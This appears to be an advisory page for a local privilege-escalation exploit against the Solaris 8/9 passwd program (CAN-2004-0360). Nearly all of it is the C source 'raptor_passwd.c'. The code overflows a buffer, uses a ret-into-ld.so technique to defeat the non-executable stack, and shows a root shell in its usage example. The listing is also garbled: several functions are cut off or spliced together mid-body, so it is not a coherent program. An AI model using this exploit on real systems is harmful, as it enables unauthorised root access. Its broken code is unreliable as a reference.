The exploit presented here exploits a buffer overflow in Solaris's passwd program. The exploit uses the ret-into-ld.so technique, to effectively bypass the non-executable stack protection.
Vulnerable Systems:
* Solaris Version 8.0 with 108993-14 through 108993-31 and without 108993-32
* Solaris Version 9.0 without 113476-11
The exploitation isn't so straight-forward: sending parameters to passwd(1) is somewhat tricky, standard ret-into-stack doesn't seem to work properly for some reason (damn SEGV_ACCERR), and we need to bypass a lot of memory references before reaching ret. Many thanks to Inode.
Exploit Code: raptor_passwd.c
/*
* $Id: raptor_passwd.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_passwd.c - passwd circ() local, Solaris/SPARC 8/9
* Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Unknown vulnerability in passwd(1) in Solaris 8.0 and 9.0 allows local users
* to gain privileges via unknown attack vectors (CAN-2004-0360).
*
* "Those of you lucky enough to have your lives, take them with you. However,
* leave the limbs you've lost. They belong to me now." -- Beatrix Kidd0
*
* This exploit uses the ret-into-ld.so technique, to effectively bypass the
* non-executable stack protection (noexec_user_stack=1 in /etc/system). The
* exploitation wasn't so straight-forward: sending parameters to passwd(1)
* is somewhat tricky, standard ret-into-stack doesn't seem to work properly
* for some reason (damn SEGV_ACCERR), and we need to bypass a lot of memory
* references before reaching ret. Many thanks to Inode <inode@deadlocks.info>.
*
* Usage:
* $ gcc raptor_passwd.c -o raptor_passwd -ldl -Wall
* $ ./raptor_passwd <current password>
* [...]
* # id
* uid=0(root) gid=1(other) egid=3(sys)
* #
*
* Vulnerable platforms:
* Solaris 8 with 108993-14 through 108993-31 and without 108993-32 [tested]
* Solaris 9 without 113476-11 [tested]
*/
/* prototypes */
int add_env(char *string);
void check_addr(int addr, char *pattern);
int find_pts(char **slave);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
void shell(int fd);
int read_prompt(int fd, char *buf, int size);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], var[VARSIZE], ff[FFSIZE];
char platform[256], release[256], cur_pass[256], tmp[256];
int i, offset, ff_addr, sc_addr, var_addr;
int plat_len, prog_len, rel;
/* set fake frame's %i1 */
set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */
/* check the addresses */
check_addr(var_addr, "var_addr");
check_addr(ff_addr, "ff_addr");
/* fill the evil buffer */
for (i = 0; i < BUFSIZE - 4; i += 4)
set_val(buf, i, var_addr);
/* may need to bruteforce the distance here */
set_val(buf, 112, ff_addr);
set_val(buf, 116, ret - 4); /* strcpy(), after the save */
/* fill the evil env var */
for (i = 0; i < VARSIZE - 4; i += 4)
set_val(var, i, var_addr);
set_val(var, 0, 0xffffffff); /* first byte must be 0xff! */
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return(env_len);
}
/*
* check_addr(): check an address for 0x00, 0x04, 0x0a, 0x0d or 0x61-0x7a bytes
*/
void check_addr(int addr, char *pattern)
{
/* check for NULL byte (0x00) */
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
/*
* find_pts(): find a free slave pseudo-tty
*/
int find_pts(char **slave)
{
int master;
extern char *ptsname();
/* open master pseudo-tty device and get new slave pseudo-tty */
if ((master = open("/dev/ptmx", O_RDWR)) > 0) {
grantpt(master);
unlockpt(master);
*slave = ptsname(master);
return(master);
}
return(-1);
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_addr(addr - 4, sym);
return(addr);
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
/* quote from kill bill: vol. 2 */
fprintf(stderr, "\"Pai Mei taught you the five point palm exploding heart technique?\" -- Bill\n");
fprintf(stderr, "\"Of course.\" -- Beatrix Kidd0, alias Black Mamba, alias The Bride (KB Vol2)\n\n");
